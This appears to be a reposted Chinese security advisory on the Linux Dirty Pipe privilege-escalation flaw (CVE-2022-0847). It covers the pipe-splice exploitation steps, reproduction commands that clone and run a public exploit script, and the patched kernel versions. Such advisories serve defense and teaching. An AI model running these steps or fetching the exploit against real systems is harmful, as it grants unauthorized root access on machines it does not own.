0x01 漏洞描述
CVE-2022-0847(脏管道提权)是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。它类似于CVE-2016-5195"Dirty Cow"(脏牛提权),但更容易被利用。
该漏洞已在Linux5.16.11、5.15.25 和 5.10.102 中修复。
0x02 漏洞原理
-
漏洞利用条件
创建管道。
用任意数据填充管道( PIPE_BUF_FLAG_CAN_MERGE在所有环条目中设置标志)。
排干管道(在环上的所有实例中设置标志)。struct pipe_bufferstruct pipe_inode_info
将目标文件(以开头O_RDONLY)中的数据从目标偏移之前的位置拼接到管道中。
将任意数据写入管道;此数据将覆盖缓存的文件页面,而不是创建新的异常,因为已设置。struct
pipe_bufferPIPE_BUF_FLAG_CAN_MERGE
此漏洞不仅可以在没有写权限的情况下工作,它还可以用于不可变文件、只读 btrfs 快照和只读挂 载(包括 CD-ROM 挂载)。这是因为页面缓存始终是可写的(由内核),并且写入管道从不检查 任何权限。
0x03 影响范围
Linux kali 5.10.0-kali7-amd64 #1 SMP Debian 5.10.28-1kali1 (2021-04-12) x86_64
GNU/Linux
0x04 漏洞复现
uname -a #查看当前内核版本,大于等于5.8符合本次漏洞利用前提
id #查看当前用户id,确定为普通用户,需要提升权限
git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh
0x05 修复建议
官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本。
安全版本
Linux kernel >= 5.16.11
Linux kernel >= 5.15.25
Linux kernel >= 5.10.102
0x06 参考链接
https://dirtypipe.cm4all.com/
https://github.com/imfiver/CVE-2022-0847
https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
蓝爵网安
广东蓝爵网络安全技术股份有限公司(简称“蓝爵网安”)成立于2007年,是一家专注于网络安全技术研究、网络安全服务十年以上的高新技术企业。蓝爵网安近年来一直围绕网络安全等级保护核心思想提供安全咨询、安全评估、安全开发、安全测试、安全运维、安全培训、应急响应七大类专业网络安全服务。 蓝爵网安拥有多个技术领域的专家服务团队,多次在重要安全保障期间、大型安全攻防演练等活动中获得了相关方的高度认可表彰。
原文始发于微信公众号(蓝爵网安):CVE-2022-0847 Linux内核提权(脏管道提rn权)漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论